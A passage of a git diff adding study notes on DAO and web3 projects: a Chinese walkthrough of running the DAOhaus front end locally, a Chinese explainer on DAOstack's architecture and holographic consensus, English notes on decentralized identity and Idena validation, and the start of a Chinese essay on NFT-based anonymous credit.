++ 当前社区新会员的提案投票
+![hard-mode](images/proposals-dh.png)
++ 社区的动态财产数字
++ ![hard-mode](images/treasury-dh.png)
++ app.daohaus.club ip地址： 54.205.240.192，看来和web服务器不重复。
++ https://ipfs.3box.io/profile?address=0x871608cba092105b91e91295a1d****9bfb48
++ 看到个人profile头像，是调用3box存储在ipfs上的头像，通过3box桥的方式获取链上数据。
++ 详细参考下面代码分析
+
+## App代码分析-本地先跑起来
++ 主要分析来源：https://github.com/HausDAO/daohaus-app
++ clone到本地后，进入目录：
++ 先安装依赖包
+```
+yarn install 
+```
++ 注意你的node要再14以上，或者几个LTS版本.
++ 第一次运行会慢点
+``` 
+yarn start
+```
++ 显示如下：
+```
+Compiled successfully!
+
+You can now view pokemol in the browser.
+
+  Local:            http://localhost:3002
+  On Your Network:  http://10.254.64.243:3002
+
+Note that the development build is not optimized.
+To create a production build, use yarn build.
+```
++ 自动跳转到了Chrome，未登陆界面出现，和官网一致：
+
+![hard-mode](images/local-homepage.png)
++ 连接metamask钱包，试了几个网络，mainnet/rinkeby/kovan可以，Ropsten/Goerli不行。
+![hard-mode](images/kovan.png)
+
++ 连接后和官网一致：
+![hard-mode](images/login-homepage.png)
++ 猜测是几个测试网络的数据，是从主网真实数据复制过来的，所以测试网络依然存在我在官网主网创建的Asset3 DAO。
++ 后面把
++ DAOhaus前端：https://github.com/HausDAO/daohaus-app（内部代号pokemol项目）
++ DAOhaus后端：https://github.com/MolochVentures/moloch/(Moloch合约代码)
++ 分为两个文档分析，本文算是code分析的开头。
+
+
+
diff --git a/dao/DAOhaus/images/allies.png b/dao/DAOhaus/images/allies.png
new file mode 100644
index 000000000..94217f156
Binary files /dev/null and b/dao/DAOhaus/images/allies.png differ
diff --git a/dao/DAOhaus/images/boosts.png b/dao/DAOhaus/images/boosts.png
new file mode 100644
index 000000000..0a701deea
Binary files /dev/null and b/dao/DAOhaus/images/boosts.png differ
diff --git a/dao/DAOhaus/images/cap-haus.png b/dao/DAOhaus/images/cap-haus.png
new file mode 100644
index 000000000..eaeed2be3
Binary files /dev/null and b/dao/DAOhaus/images/cap-haus.png differ
diff --git a/dao/DAOhaus/images/cco-haus.png b/dao/DAOhaus/images/cco-haus.png
new file mode 100644
index 000000000..c44e5c56c
Binary files /dev/null and b/dao/DAOhaus/images/cco-haus.png differ
diff --git a/dao/DAOhaus/images/contracts.png b/dao/DAOhaus/images/contracts.png
new file mode 100644
index 000000000..9a7bcff84
Binary files /dev/null and b/dao/DAOhaus/images/contracts.png differ
diff --git a/dao/DAOhaus/images/daohaus-dao-list.png b/dao/DAOhaus/images/daohaus-dao-list.png
new file mode 100644
index 000000000..d694384b5
Binary files /dev/null and b/dao/DAOhaus/images/daohaus-dao-list.png differ
diff --git a/dao/DAOhaus/images/daohaus-summon.png b/dao/DAOhaus/images/daohaus-summon.png
new file mode 100644
index 000000000..e504606bd
Binary files /dev/null and b/dao/DAOhaus/images/daohaus-summon.png differ
diff --git a/dao/DAOhaus/images/dir.png b/dao/DAOhaus/images/dir.png
new file mode 100644
index 000000000..adb9fe4ed
Binary files /dev/null and b/dao/DAOhaus/images/dir.png differ
diff --git a/dao/DAOhaus/images/farm.png b/dao/DAOhaus/images/farm.png
new file mode 100644
index 000000000..2c78184d5
Binary files /dev/null and b/dao/DAOhaus/images/farm.png differ
diff --git a/dao/DAOhaus/images/hard-mode.png b/dao/DAOhaus/images/hard-mode.png
new file mode 100644
index 000000000..a0b5e7666
Binary files /dev/null and b/dao/DAOhaus/images/hard-mode.png differ
diff --git a/dao/DAOhaus/images/haus-distribution.png b/dao/DAOhaus/images/haus-distribution.png
new file mode 100644
index 000000000..987bf2556
Binary files /dev/null and b/dao/DAOhaus/images/haus-distribution.png differ
diff --git a/dao/DAOhaus/images/haus.png b/dao/DAOhaus/images/haus.png
new file mode 100644
index 000000000..13b151826
Binary files /dev/null and b/dao/DAOhaus/images/haus.png differ
diff --git a/dao/DAOhaus/images/homepage.png b/dao/DAOhaus/images/homepage.png
new file mode 100644
index 000000000..5d0e43ccc
Binary files /dev/null and b/dao/DAOhaus/images/homepage.png differ
diff --git a/dao/DAOhaus/images/inital-left.png b/dao/DAOhaus/images/inital-left.png
new file mode 100644
index 000000000..ed884585b
Binary files /dev/null and b/dao/DAOhaus/images/inital-left.png differ
diff --git a/dao/DAOhaus/images/inital-right.png b/dao/DAOhaus/images/inital-right.png
new file mode 100644
index 000000000..fcae91a95
Binary files /dev/null and b/dao/DAOhaus/images/inital-right.png differ
diff --git a/dao/DAOhaus/images/kovan.png b/dao/DAOhaus/images/kovan.png
new file mode 100644
index 000000000..d5b0e1121
Binary files /dev/null and b/dao/DAOhaus/images/kovan.png differ
diff --git a/dao/DAOhaus/images/local-homepage.png b/dao/DAOhaus/images/local-homepage.png
new file mode 100644
index 000000000..e8dee9618
Binary files /dev/null and b/dao/DAOhaus/images/local-homepage.png differ
diff --git a/dao/DAOhaus/images/login-homepage.png b/dao/DAOhaus/images/login-homepage.png
new file mode 100644
index 000000000..d9c358754
Binary files /dev/null and b/dao/DAOhaus/images/login-homepage.png differ
diff --git a/dao/DAOhaus/images/medium.png b/dao/DAOhaus/images/medium.png
new file mode 100644
index 000000000..1f54bfa0b
Binary files /dev/null and b/dao/DAOhaus/images/medium.png differ
diff --git a/dao/DAOhaus/images/members.png b/dao/DAOhaus/images/members.png
new file mode 100644
index 000000000..b74e1709f
Binary files /dev/null and b/dao/DAOhaus/images/members.png differ
diff --git a/dao/DAOhaus/images/options.png b/dao/DAOhaus/images/options.png
new file mode 100644
index 000000000..fef9b09f8
Binary files /dev/null and b/dao/DAOhaus/images/options.png differ
diff --git a/dao/DAOhaus/images/profile.png b/dao/DAOhaus/images/profile.png
new file mode 100644
index 000000000..5ef0d7415
Binary files /dev/null and b/dao/DAOhaus/images/profile.png differ
diff --git a/dao/DAOhaus/images/proposals-dh.png b/dao/DAOhaus/images/proposals-dh.png
new file mode 100644
index 000000000..e183a87f7
Binary files /dev/null and b/dao/DAOhaus/images/proposals-dh.png differ
diff --git a/dao/DAOhaus/images/proposals.png b/dao/DAOhaus/images/proposals.png
new file mode 100644
index 000000000..85c31e855
Binary files /dev/null and b/dao/DAOhaus/images/proposals.png differ
diff --git a/dao/DAOhaus/images/roles-dao.png b/dao/DAOhaus/images/roles-dao.png
new file mode 100644
index 000000000..81e13d57c
Binary files /dev/null and b/dao/DAOhaus/images/roles-dao.png differ
diff --git a/dao/DAOhaus/images/settings.png b/dao/DAOhaus/images/settings.png
new file mode 100644
index 000000000..73f238027
Binary files /dev/null and b/dao/DAOhaus/images/settings.png differ
diff --git a/dao/DAOhaus/images/summon-2.png b/dao/DAOhaus/images/summon-2.png
new file mode 100644
index 000000000..e5ba1b34c
Binary files /dev/null and b/dao/DAOhaus/images/summon-2.png differ
diff --git a/dao/DAOhaus/images/summon.png b/dao/DAOhaus/images/summon.png
new file mode 100644
index 000000000..408c75dfc
Binary files /dev/null and b/dao/DAOhaus/images/summon.png differ
diff --git a/dao/DAOhaus/images/treasury-dh.png b/dao/DAOhaus/images/treasury-dh.png
new file mode 100644
index 000000000..6b38357d0
Binary files /dev/null and b/dao/DAOhaus/images/treasury-dh.png differ
diff --git a/dao/DAOhaus/images/vaults.png b/dao/DAOhaus/images/vaults.png
new file mode 100644
index 000000000..5e46c158e
Binary files /dev/null and b/dao/DAOhaus/images/vaults.png differ
diff --git a/dao/DAOhaus/images/whois.png b/dao/DAOhaus/images/whois.png
new file mode 100644
index 000000000..e015f638b
Binary files /dev/null and b/dao/DAOhaus/images/whois.png differ
diff --git a/dao/DAOhaus/images/why-dao.png b/dao/DAOhaus/images/why-dao.png
new file mode 100644
index 000000000..99d9aded5
Binary files /dev/null and b/dao/DAOhaus/images/why-dao.png differ
diff --git "a/dao/DAOstack/images/DAOstack\346\236\266\346\236\204.png" "b/dao/DAOstack/images/DAOstack\346\236\266\346\236\204.png"
new file mode 100644
index 000000000..8944e92e5
Binary files /dev/null and "b/dao/DAOstack/images/DAOstack\346\236\266\346\236\204.png" differ
diff --git a/dao/DAOstack/readme.md b/dao/DAOstack/readme.md
new file mode 100644
index 000000000..c1349095f
--- /dev/null
+++ b/dao/DAOstack/readme.md
@@ -0,0 +1,137 @@
+# 什么是DAOstack
+
+DAOstack是一套软件栈，它用于构建与运行DAOs(Decentralized Autonomous Organizations)，即去中心化自治组织。
+
+所谓的去中心化自治组织，就是它们的运作，是建立在P2P软件基础上，并遵循无层级的决策。这些决策往往是针对大家共同拥有的资源，比如资金。DAOstack做的这些工作，正是其相信DAOs的结构，将改变我们的世界，因为它会让人与人之间的协作，更加容易、直接，也更容易规模化。
+
+DAOstack瞄准了构建DAOs的全流程，因此在它的软件栈中包括了从P2P决策模块，到全功能的用户接口的所有构件。如果通过该栈的UI，甚至不需要太多的技术知识储备，就可以构建用户所需要的DAO。而且DAOstack还包含了将这些自治组织链接在一起的工具，因此随着该DAOs网络的成长，所有基于DAOstack的各DAO也将会随着拥有更强的组织治理能力。
+
+# DAOstack架构
+
+## 综述
+
+下面中DAOstack的架构图：
+
+![1645971935048](.\images\DAOstack架构.png)
+
+从下往上看，架构图中构件分别是：
+
+1. Infra，它是完成通用去中心化决策的基础组件；它是一组以太坊智能合约库，包括投票机（voting machines）和声誉系统（Reputation system）。
+2. Arc，它是以太坊智能合约，用于注册DAO的构建模块和标准组件等，以实现我们想要类型的DAO；
+3. Subgraph；它是基于TheGraph协议实现的，用来查询DAOs状态与信息的高速缓存（Caching Layer）。
+4. Arc.js，它是一个Javascript的库，方便Dapps来访问Arc里的智能合约。
+5. Dapps，它就是各DAO呈现给用户具体的去中心化应用，比如去中心化选举系统等。
+6. DAOs，这其实已不是DAOstack的组成部分，而代表着遵行DAOstack机制运行着的一个个DAO。
+
+## 智能合约（Smart Contracts）
+
+### Infra
+
+Infra是一个用Solidity编写的智能合约库，它包含了DAOstack协议的2个主要组件：
+
+1. 投票机（Voting Machines）：它是一个通用型合约（所有的DAO都可以调用），将用于处理投票事务。每一个投票机都要遵循它自己预先设定的决策规则；根据DAOstack的共识协议，决策可以依据简单的绝大多数同意通过规则，也可以更加复杂的逻辑。
+2. 投票权限管理（Voting Rights Management）：该系统就是一个智能合约，它用于确定投票权限是如何分布的；该系统会记录每个投票参与方的投票权限大小；运行在DAOstack的DAOs，会用声誉（reputation）来计量参与方的投票权限；这“声誉”就是数字，将跟随参与方参与提案投票的成功与失败，而增长或减少。
+
+### Arc
+
+Arc也是一个智能合约库，它用于构建DAOs。它会调用Infra的投票机和投票权限管理系统，以向用户提供去中心化的自治组织（DAOs）。除了调用Infra合约，用Arc构建的DAOs还会用到以下的基础合约组件：
+
+1. Avatar：它是DAO的账户，这个合约代表了DAO的地址，并掌管着它的资产。
+
+2. Token：DAO原生的ERC20代币，DAO根据协议可以铸币，并向它的成员发币。
+
+3. Plugins：插件，它们将为DAOs提供丰富的功能，可以各种方式扩展DAO的能力，例如：在Uniswap上做交易，授予投票参与方声誉，升级DAO的合约，注册新的插件和限制等等。
+
+4. 全局限制（Global Constraints）：通过插件用于规范一个DAO的行为，当DAO执行来自调用者的指令时，控制器（Controller）会检查相应的限制，看看该调用是会违反，如有违反，将阻止这些调用的执行；这些限制将限定一个提案要花费多少，一个用户可以拥有多少声誉等等。
+
+5. 控制器（Controller）：它用于完成DAO的访问控制；它将管理谁可以访问DAO的哪个功能，也是DAO的限制控制的落地组件。
+
+   Arc V1中提出了通用型合约（uinversal contracts）的概念：合约只被部署一次，但可以被所有的DAOs使用或访问。这样可以节省gas费和部署的费用。插件和限制都可以是此类通用型合约。
+
+## 子图（Subgraph）
+
+DAOstack目前基于 The Graph 协议，实现了一个子图（subgraph），用于索引区块链的事件（events），使得应用程序通过GraphQL的查询语句，可以访问这些events的信息。我们可以从[这里](https://thegraph.com/docs/en)获取更多关于The Graph的文档，也可以在[Graph Explorer](https://thegraph.com/hosted-service/subgraph/daostack/master)中找到我们定制的子图。
+
+## Arc.js（Javascript库）
+
+Arc.js是一个Javascript的库，将方便我们访问Arc中的智能合约。它提供了方法，来与以下构件交互：
+
+1. Arc智能合约：投票，创建提案，投注与执行提案等等。
+
+2. DAOstack子图：查询DAO中的数据。
+
+   通过Arc.js，Javascript/Typescript的开发者可能编写脚本和程序，来与已存在的DAOs进行交互，向DAOs发布提案，为提案投票或投注，执行决策结果，管理用户的声誉等，这些对于想要获得基于区块链去中心治理各种好处的开发者而言，特别有帮助，因为这样不用直接面对智能合约的开发语言了。
+
+## 去中心化应用（Dapps）
+
+去中心化应用（dapps），其实也是典型的Web应用程序，但它与传统Web应用程序最大的不同，是建立在去中心化的框架（例如区块链）上。DAOstack目前自己创建并维护了两个dapps：Common和Alchemy。
+
+Alchemy是建立在DAOstack的全栈上：Arc.js，DAOstack的子图，Arc和Infra。该应用将给用户部署新的DAOs，查阅存在的DAOs，并与已存在的DAOs交互，比如投票，创建提案等等，带来更加方便的途径。
+
+# 全息共识
+
+全息共识这个词主要意味着，识别一组人的共同意愿，不需要组织里绝大多数人都要参与共识这种活动。用另外一句话来讲，全息共识是指代那些决策的技术，通过这些技术可以准确地代表组织整体的意见，但是又不需要组织中的个体都来参与投票或决策。这与传统区块链PoW等共识机制，要求所有有资格的人都要参与，是有本质不同的。
+
+## 规模化问题
+
+全息共识是DAOstack去中心化治理实现的关键点，因为它解决了去中心化系统中规模化的问题：它让决议时，很好地在代表与大量的成员之间，做到了很好的平衡。我们都知道，一般治理系统中，如果决策更快，则意味着想要精确地代表系统中代表的意愿，就更加困难。
+
+我们[这里](https://medium.com/daostack/holographic-consensus-part-1-116a73ba1e1c)和[这里](https://medium.com/daostack/on-the-utility-of-the-gen-token-eb4f341d770e)来更多地了解这个规模化问题，以及全息共识是如何应对这个问题的。
+
+## 共识协议
+
+所谓的共识协议，这里是指DAOstack实现的所有技术，这些技术为DAOs实现了一个特殊的算法，基于这个算法或协议，再实现了DAOs中的投票机（Voting Machine）
+
+这个共识协议，是全息共识基于智能合约的一个实现，它为运行在Infra层的投票机所遵循。
+
+### 概览
+
+所有的提案是要提交到DAO。一旦提交，这些提案就成为了常规提案（regular proposals）。常规提案要想成功通过，就要获得绝大多数（>50%）的投票。这个票数往往很难达到。
+
+而遵循共识协议的每个提案，则还会有一个预测市场与之相关联。在该预测市场中使用GEN代币。DAO的成员，或一般公众，可以使用GEN来对这些提案进行投注，他们可以押提案通过，也可以押提案不通过。押注对的，将获得奖励。缺省情况下，DAO也会投注GEN（它被称作DAOstake），并押提案不通过。DAO这样做，其实是提供经济激励，让对提案是好的预测者，有积极性来预测该提案会通过。
+
+当提案押注通过的GEN总数达到一定的门槛，就会被提速。也就是这类提案，只要相对多数（赞成票数多于反对票数）就可以通过。当然，这个条件相对需要绝对大多数来讲，就更容易达到。
+
+总的来讲，这让DAO可以更快地通过提案，并拥有高可信性，同时还不需要众多的投票人参与。因为预测者都被激励着来确保这些提案拥有较高的代表性。
+
+### 协议状态
+
+一个打开着的提案（也就是还没有被决策的提案），可以是以下状态中的一种：
+
+1. Queued：所有的提案一提交，缺省就会进入queued状态，并会有一注押反对的（由DAO押的）；该投注的数额由minimumDaoBounty参数设置，此种状态下的提案，在有绝对大数的投票，才能获得最终决策（根据>50%的票数属于哪方，而确定该提案是通过，还是不通过）。
+2. Pre-boosted：在满足S~u~/S~d~ > C^b^时，提案就会从Queued状态变迁到Pre-boosted状态；其中S~u~是支持提案的投注数，而S~d~则是反对提案的投注数，C是一个常量，而b是当前已提速的提案数量；在这个状态下，提案将对所有成员打开，开始接收投注；而当反对的投注数增长较快，并且不满足上述的不等式时，该提案将回退到Queued状态。
+3. Boosted：当提案持续待在Pre-boosted状态一段时间（这个时间由preBoostedPeriodLimit参数来确定），就会进入这个boosted状态；在这种状态下的提案，则只要求相对多数就可以通过（例如赞成票多于反对票）；在这种状态下，该提案将打开大家投票通道，而关闭投注通道；因此，一旦提案进入到了Boosted状态，就再也回不到Queued或Pre-boosted状态；这种状态会持续boostedVotedPeriodLimit参数所设定的时间。
+4. QuietEndingPeriod：这种状态代表提案被决策的最后阶段；在这个阶段里，提案可能由通过变成不通过，也可能由不通过变成通过；只有当提案保持通过或不通过情形超过由quietEndingPeriod参数确定时间时，提案才处于最终被决策（采纳或放弃）；这个状态主要用来规避最后时刻投票没有被统计到的情形。
+
+### 投注与奖励
+
+以下是一个提案可能结果：
+
+1. 提案在队列中，在规定的时间内，未能获得任何决议；这种情况下，所有的押注将退回给相应的投注人。
+
+2. 该提交被采纳或被否决；投注失败者，将失去他们的押注，而胜出者将收回他们的押注，并按比例分享失败者的押注；反对者的押注中还包括了DAOstake，只要DAO有GEN，每次提案提交，它会自动投注这注反对押注。
+
+   要注意的是，对于一个给出的提案，来自同一个地址的投注人可以进行多次投注。但是后面的投注要与前面的投注一致。也就是讲如果你开始投注了赞成，那在后面的投注中也只能投赞成；不能投注两方。
+
+### 参数
+
+下面是关于该共识协议中用到若干参数的解释：
+
+1. Address：这些参数存放的以太坊地址（不是该协议自己的地址）；例如：*0x332b8c9734b4097de50f302f7d9f273ffdb45b84*。
+2. Activation Time：提案第一次提交的日期与时间（遵循 [Unix time](https://en.wikipedia.org/wiki/Unix_time)格式）；例如：*12:00 PM UTC*   *on July 14th, 2019 (active)*。
+3. Boosted Vote Period Limit：提案处于boosted状态的时间跨度；例如：*7 days (604800 seconds)*。
+4. DAO Bounty Constant：它是一个常量，被处于boosted状态提案的平均反对押注数额所乘，用于计算出DAO自动投注的反对投注应该是多少；例如：*10*。
+5. Proposal Reputation Reward：对通过的提案进行奖励的数额；这个数额代表着投票的能力；例如：*500 REP*
+6. Minimum DAO Bounty：指一个DAO针对每个提案最少要押注GEN的数量；这个押注是押提案不通过；例如：*250 GEN*
+7. Pre-Boosted Vote Period Limit：是指一个提案保持某个可信分数（ upstake / downstake > boosting threshold）的时间长度；只有达到这个时间，才可能从Pre-Boosted状态进入Boosted状态。例如：*1 day (86400 seconds)*
+8. Queued Vote Period Limit：这个参数用于设置非boosted态的提案（pre-boosted态或regular queue态），开放用于投票的时间量；例如：*45 days (3888000 seconds)* 
+9. Queued Vote Required：它用于设置所有声誉（投票能力）在yes或no中的占比；该占比用来裁决一个non-boosted的提案是通过，还是被否决；例如：*50%* 
+10. Quiet Ending Period：它是一个时间跨度；它是因投票存在潜在结果而需要的；这个时间是要求维持同样的结果一定时间，以确认该结果可以是正式的结果；例如：*2 days (172800 seconds)*
+11. Threshold Constant：该参数控制着进入boosted状态的速度，因为它设定了达到可信分数的门槛；而门槛将随着当前处于boosted状态提案数量的上升，而变得更高（threshold = threshold constant ^ 当前boosted提案数量）；例如：*1.2*
+12. Voters Reputation Loss：它用来设置一个投票人投票能力如果在非boosted提案投票中失败，将损失的投票能力占比；假如你有100个声誉，而这个参数被设置为4%，就意味着你将因为投票失败，而损失4个声誉。
+
+# 参考
+
+- [https://daostack.io/](https://daostack.io/)
+- [https://github.com/daostack](https://github.com/daostack)
+
diff --git a/dao/DID/did.md b/dao/DID/did.md
new file mode 100644
index 000000000..642e2f863
--- /dev/null
+++ b/dao/DID/did.md
@@ -0,0 +1,4 @@
+# What is DID(Decentralized Identity)
+
+**Decentralized identity** is an emerging concept that gives back control of identity to consumers through the use of an identity wallet in which they collect verified information about themselves from certified issuers (such as the Government). By controlling what information is shared from the wallet to requesting 3rd parties (e.g., when registering for a new online service), the user is able to better manage their identity online and their privacy – for example, only presenting proof that they’re over 18 without needing to reveal their actual Date of Birth.
+
diff --git a/dao/DID/idena.md b/dao/DID/idena.md
new file mode 100644
index 000000000..d14e057e0
--- /dev/null
+++ b/dao/DID/idena.md
@@ -0,0 +1,188 @@
+# All You Need To Know About Idena
+
+## What is Idena
+
+Tl;NR
+
+Idena is a technique to prove YOU are a HUMAN without KYC.
+
+**maybe the most important usage for Idena currently is the gitcoin trust, it is worth 50% trust.**
+
+
+
+Idena is the first Proof-of-Person blockchain based on democratic principles. Every mining node is linked to a cryptoidentity – one single person with equal voting power and mining income.
+
+Every unique human can become an Idena validator no matter who they are and where they live. To start mining Idena, you need to prove you are a unique human. It does not require the disclosure of any personal data (no KYC). You need to appear online when the validation ceremony starts and solve a series of flip-tests (CAPTCHAs).
+
+
+
+## How to prove you are a human
+
+By doing some kind of Turing test, which is called flip.
+
+
+
+### What is a flip
+
+A flip is a sort of a CAPTCHA that helps to determine whether a user is human. In contrast to a CAPTCHA, which stands for "Completely Automated Public Turing test to tell Computers and Humans Apart" and is usually generated by an automated service, a flip should be created by a human. And unlike a usual CAPTCHA, which is based on object recognition, solving a flip requires a semantic interpretation of the relationship between objects.
+
+Each flip contains two stories in pictures. One of them (left or right) is a sequence of pictures that is created by a human as a meaningful story. The other is created by the same author as illogical. Stories are "read" from top to bottom. Solving a flip is choosing the story that seems logical. If both stories seem meaningful or meaningless, the task is still to choose the one which seems more logical than the other and thus would rather be chosen by other people.
+
+A flip is not an IQ test but a test for common sense. There are no predefined correct answers: The correct answer will be the one chosen by a majority of people.
+
+![flip](https://www.idena.io/static/images/flip-sample.png?1)
+
+​				
+
+Example of a flip: a meaningful story (left) and a meaningless sequence of pictures (right)
+
+
+
+## What is a validation session
+
+
+
+A validation session is something like a "ceremony", each epoch(about one month now) every participant do several flips at the same time, and if you pass the most flips, you can be verified.
+
+
+
+## Where is the whole process
+
+1. Get an Invitation Code.
+2. Connect to a node.
+3. Create an address.
+4. Activate your address.
+5. Take part in validation session.
+6. Create 3 flips before taking next validation session.
+
+
+
+## Where to get an invitation code
+
+1. [Idena telegram group](https://t.me/IdenaNetworkPublic)
+2. [Discord](https://discord.gg/96Sw2e6)
+3. [Twitter](https://twitter.com/idenanetwork)
+
+Notes:
+
+Every invitation code is free, never pay money.
+
+
+
+## How to connect to a node
+
+The easiest way is to use [idena app](https://app.idena.io/), however, the default node may not provide the best speed, and sometimes you will fail in a validation session due to the network problem. if you do not want to run your own node, it is recommended to rent a node. Renting node usually require 1 or 2 iDNA(the idena token), it is very cheap now, but not easy to buy, if you are a lovely girl, you can ask the philanthropist who give you invitation code to send you 2 iDNA, then you can rent a node.
+
+## Can you do some practice before the saint validation session
+
+Yes, you can do train validation on idena app, actually, someone may ask you to show your certificate before giving you an invitation code.
+
+## More on validation session
+
+it is all the same with the train validation, you can do it by yourself.
+
+The short validation session has a very limited time frame, less than two minutes, and consists of six flips, each of which is received only by 1–4 participants in the network (depending on the network size). This session’s task is conducting a Turing test: telling humans from AI.
+
+The long flip qualification session lasts 30 minutes and consists of 25-30 flips, each of which is received by a larger number of network participants (depending on the network size). This session enables the network to achieve a consensus on flip quality and the right answer to a flip.
+
+
+
+## when can you do gitcoin trust
+
+maybe this is what most people care about. After you finish one validation session, your status will be Newbie, then you can do gitcoin trust.
+
+
+
+## What can you get from validation?
+
+### Identities, rewards and penalties in Idena
+
+There are four identity statuses in Idena:
+
++ Candidate - non-validated user with activated invitation code 
+
++ Newbie - validated user with 1 and 2 successful validations in a row 
+
++ Verified - validated user with 3+ successful validations in a row 
+
++ Human - validated user with at least 24 solved flips in all short sessions combined, with average success rate of 92%+ for short sessions. If the average success rate drops below 92%, Human status is lost and identity becomes Verified.
+
+  #### NEWBIE STATUS
+
+  Once you get an invite and show up for your first validation session, you must successfully solve at least 60% of flips in the short session (4 out of 6 flips, 3 out of 5 flips, 2.5 out of 4 flips, 2 out of 3 flips or 1 out of 1 flip). 
+
+  Once the first session is completed successfully, your status becomes "Newbie".
+
+   All rewards for a Newbie status are split as follows:   
+
+  - 20% goes to the main wallet and that balance can be used freely,  
+
+  - 20% goes to the stake wallet and can’t be used while identity is valid,   
+
+  - 60% stays locked and inaccessible until your status becomes Verified and is then transferred to the main wallet. 
+
+    
+
+  As a Newbie, you are not able to terminate your identity and therefore cannot withdraw funds from the stake wallet.
+
+    
+
+####        VERIFIED STATUS
+
+​          Once you have successfully validated 3 times in a row, your status becomes “Verified”. 
+
+At that moment, locked funds are released to your main wallet. From that moment, all rewards are split by 80% going to the main wallet, while 20% goes to the stake wallet. 
+
+A "Verified" user is eligible for one extra flip and an invitation reward. Your stake cannot be spent until you TERMINATE your identity from the client.
+
+ If you TERMINATE your identity, you will have to start again with a new invitation and go through the verification process from the beginning. 
+
+If you are KILLED by the network (e.g. you fail validation session), your stake will be lost.  
+
+You can MISS two validation sessions in a row as a "Verified" identity, becoming “Suspended” and losing ability to mine for that epoch, but still being able to validate without invitation.
+
+  
+
+#### HUMAN STATUS
+
+The highest-level identity is "Human". 
+
+It requires at least 24 flips solved at short sessions with minimum total score of 92% (at least four short sessions solved in total) "Human" identity gets the right to fail the short session without being killed (the identity becomes “Suspended”). 
+
+In addition, a "Human" is eligible for two extra flips and invitation rewards
+
+
+
+## Can you have more than 1 idena accout
+
+not an easy work.
+
+First, there is one validation session at each epoch,
+
+second, the short session has only 90 seconds to solve 6 flips,
+
+Third, you need to persistently attend the validation session(oops, the most xxx part of idena) 
+
+
+
+## What is the usage except for gitcoin trust
+
+Honestly, i haven't found one, but i guess it will be as useful as your passport in the web3 world.
+
+
+
+## Useful links
+
+Site FAQ: https://idena.io/?view=faq
+Explorer: https://scan.idena.io/
+Idena Today: https://idena.today/
+Idena Apps: https://idena-apps.org/
+AMA Transcript: https://medium.com/idena/april-22-2020-idena-ama-transcript-cbdfc33fbbdb
+Discord Link: https://discord.gg/96Sw2e6
+Official Telegram: https://t.me/IdenaAnnouncements
+Bitcointalk Forum: https://bitcointalk.org/index.php?topic=5194871.0
+Whitepaper: https://idena.io/IdenaConceptPaper.pdf
+Download node and client: https://idena.io/?view=download#
+Exchange: https://qtrade.io/market/IDNA_BTC
+Pitch Deck: https://idena.io/IdenaPitchDeck.pdf
+
diff --git "a/dao/DID/nft\344\270\216\346\225\260\345\255\227\350\272\253\344\273\275\351\232\217\346\203\263.md" "b/dao/DID/nft\344\270\216\346\225\260\345\255\227\350\272\253\344\273\275\351\232\217\346\203\263.md"
new file mode 100644
index 000000000..63f9b7543
--- /dev/null
+++ "b/dao/DID/nft\344\270\216\346\225\260\345\255\227\350\272\253\344\273\275\351\232\217\346\203\263.md"
@@ -0,0 +1,90 @@
+# NFT与数字身份的结合 实现匿名化的信用评估
+
+![](https://tva1.sinaimg.cn/large/008eGmZEly1gpcl32sph8j30ww0bogmf.jpg)
+
+以下内容是一个简单的思考输出，一气呵成，没有过多编辑，可能有点混乱，读的不顺畅请见谅~
+
+近一年DeFi给了我们很多惊喜，其中各种空投就让很多人致富。最近DeFi项目有很多空投，少则几十刀，多则上万刀，但在**领空投这事上目前还有很多痛点**：
+
+1. 不知道空投信息，不知道自己是否符合空投条件
+2. 没有办法一键查询自己的所有地址有哪些空投可以领
+3. 经常换地址的话，会避开很多空投符合条件，本来是个老韭菜，但无法享受空投福利
+
+导致以上的一些问题，主要还是由于链上身份信息的匿名性。我们所有的身份都是匿名与公钥地址绑定。**对于常换地址的用户，每一次链上行为都留在了过去的地址，没法跟随自己到新的地址。**
+
+**这是区块链的匿名特性，它是一种进步。但它也同时阻止了一些传统意义上的授信问题。**
+
+
+## 分散&匿名的链上身份信息
+
+用户在以太坊上的每一次合约交互记录都会永久的记录在链上，不可更改。有的用户喜欢一直用一个地址，有的用户喜欢经常切换地址。
+
+对于使用一个地址的用户，所有信息都与这一个钱包地址绑定，如果有空投或者类似项目白名单的需求，可以方便的查询。
+
+但如果是使用多地址的用户，因为地址在频繁切换，面对这种空投和白名单筛选，就会有一些吃亏。
+
+**在现实世界，我们每个人的身份信息都可以使用一些简单的标识来验证，比如身份证号、手机号、护照等进行识别认证。**
+
+但是在虚拟世界，一个账号很难对应到一个实际的人，一个人可以拥有N个虚拟账号，他们之间也可以完全没有联系。
+
+尤其在加密世界，加密本身就强调隐私性，每一个地址都是独立的，只要拥有私钥就证明你对这个账号的所有权。**但是没有人希望把自己的真实身份信息与自己的加密地址联系起来。**
+
+**这种身份信息的分散导致了无法通过一个立体的画像信息，辨别一个人的具体身份，有好处也有弊端。**
+
+好处是匿名性，一个人可以使用不同的虚拟身份活在虚拟世界中。坏处是无法进行基于个人信用的授信。
+
+## 现实世界的身份信息
+
+在现实世界，我们大多采用身份标识和各类证明来辨识身份。比如通过身份证辨别一个人的公民身份，通过银行卡和资产证明辨别一个人的财务状况，通过社交关系辨别一个人的社会地位，通过购物清单辨别一个人的生活习惯。
+
+在没有社交应用的大数据前，**一个人在银行借钱大多是通过抵押财产的形式，这与目前DeFi的超额抵押类似。**对于有一定社会地位的人，他们可以通过工作证明、工资流水等信息进行贷款申请，这是一种**信用贷款方式，用户不需要提供抵押品即可进行借款。**
+
+用户行为大数据的使用，让互联网应用可以方便的识别哪些人有偿付能力，从而可以进行更多的无抵押信用借款，比如支付宝的蚂蚁借贷。但这也同时会引发另外的隐私话题，欧洲颁布的GDPR也对这类身份信息的过度使用提出了更严格的限制。
+
+**而在链上，是无法直接实现信用借款的。**毕竟在冰冷的钱包背后，我们不知道那是谁，他的所有行为都记录在钱包的记录上。但由于这些地址也是分散的，很难知道他们是否属于同一个人。
+
+## 身份信息的价值
+
+身份信息对一个人有很多用处，简单说可以让我们出入可以出入的场所，可以让我们享受身份所匹配的服务。在互联网世界，有真实的信用背书，我们的虚拟身份也可以有更多的权限。
+
+然而在区块链世界，由于身份信息是匿名化的，我们只能验证私钥的控制权，也就是说只能对当前所见的资产可以验证，而无法验证这个地址背后持有人的偿付能力和身份等级。
+
+换个说法，**我们只能基于所见即所得的资产评估一个账户的偿付能力，而无法给与他超过他所拥有资产限额的额外服务。**
+
